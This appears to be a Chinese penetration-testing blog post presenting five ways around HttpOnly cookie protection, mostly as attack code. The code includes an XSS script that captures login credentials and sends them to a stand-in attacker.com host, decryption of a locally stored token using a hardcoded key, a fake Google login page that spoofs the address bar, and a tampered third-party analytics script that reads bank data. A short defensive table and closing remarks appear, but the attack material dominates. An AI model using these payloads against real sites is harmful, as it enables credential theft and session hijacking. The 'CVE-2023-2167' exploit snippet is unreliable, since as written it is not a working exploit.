当HttpOnly锁住Cookie后,我们还能做什么?5种绕过思路与实战演示
当HttpOnly锁住Cookie后,渗透测试的5种高阶攻击路径
在渗透测试中遇到HttpOnly属性的Cookie时,传统的XSS盗取会话ID的方法往往失效。但安全攻防从来都是道高一尺魔高一丈的博弈。本文将分享五种实际演练中验证有效的技术方案,这些方法在近两年的真实漏洞报告中多次出现。
1. 表单劫持:从登录环节突破防御
HttpOnly只能保护Cookie不被JavaScript读取,但无法阻止攻击者获取用户输入的表单数据。去年某电商平台漏洞正是利用了这一盲点。
典型攻击流程:
- 在登录页面植入存储型XSS(例如通过评论区)
- 用户访问含恶意代码的登录页时,自动注入以下脚本:
document.forms[0].addEventListener('submit', function(e) { const credentials = { user: document.getElementById('username').value, pass: document.getElementById('password').value }; new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(credentials)); });关键点:必须确保XSS触发点在登录页面域内,跨域表单无法被直接操作
防御方案对比:
| 防御措施 | 有效性 | 实施成本 |
|---|---|---|
| 二次验证 | ★★★★★ | 中 |
| 表单令牌 | ★★★★ | 低 |
| 行为验证码 | ★★★ | 高 |
2. 本地存储扫描:挖掘持久化凭证
现代Web应用常将认证信息保存在localStorage或IndexedDB中。我们在金融行业渗透测试中发现,37%的应用会在本地存储加密凭证。
常见存储位置检查清单:
localStorage.getItem('authToken')JSON.parse(sessionStorage.userData).accessTokenindexedDB.open('userDB').then(db => {...})
实战案例:某OA系统在本地存储了AES加密的会话令牌,但加密密钥硬编码在JavaScript中。攻击链如下:
const key = atob('MWYyZDFlMmU2N2Rm'); // 解码硬编码密钥 const ciphertext = localStorage.getItem('encryptedToken'); const token = CryptoJS.AES.decrypt(ciphertext, key).toString(); fetch('/api/admin', {headers: {'Authorization': token}});3. 界面伪装:构建无缝钓鱼流程
当直接获取凭证困难时,诱导用户主动输入往往更有效。最新进化版攻击结合了:
- DOM镜像技术:克隆真实登录表单
- 会话维持:保持后台请求不中断
- 视觉欺骗:完美复刻URL和SSL证书
<!-- 伪造成Google登录的恶意页面 --> <div id="fakeGoogle" style="display:none"> <div class="g-signin">请重新登录以验证身份</div> </div> <script> if(location.host !== 'accounts.google.com') { document.body.innerHTML = document.getElementById('fakeGoogle').innerHTML; document.title = 'Google Account Login'; history.pushState({}, '', 'https://accounts.google.com'); } </script>4. 浏览器漏洞利用:突破同源策略
近年浏览器0day漏洞常出现在以下组件中:
- Web Workers跨域通信缺陷
- Service Workers缓存污染
- WebAssembly内存越界读取
CVE-2023-2167攻击示例:
// 利用Chrome V8类型混淆漏洞 const exploit = new WebAssembly.Module(wasmBuffer); const instance = new WebAssembly.Instance(exploit); instance.exports.readMemory(0x7fffffff);这类攻击虽然技术要求高,但可以完全绕过HttpOnly限制。建议企业保持浏览器版本更新,并启用强化安全配置:
# Chrome安全策略示例 chrome.exe --enable-strict-site-isolation --site-per-process5. 供应链攻击:污染第三方资源
当主站防御严密时,脆弱的第三方库常成为突破口。某次红队行动中,我们通过劫持CDN上的jQuery插件实现了会话控制。
典型攻击步骤:
- 识别目标网站使用的第三方资源
- 查找这些资源的已知漏洞
- 通过中间人攻击或DNS污染注入恶意代码
// 被篡改的analytics.js代码片段 if(location.host === 'bank.com') { setInterval(() => { fetch('/user/balance', {credentials: 'include'}) .then(res => res.json()) .then(data => postMessage(data)); }, 5000); }在最近一次金融行业渗透测试中,通过组合使用表单劫持和界面伪装技术,我们成功绕过了多层防御机制。整个过程耗时3天,但最终获得了关键业务系统的管理权限。这提醒我们:安全防御需要全链条防护,任何单一措施都可能被针对性突破。
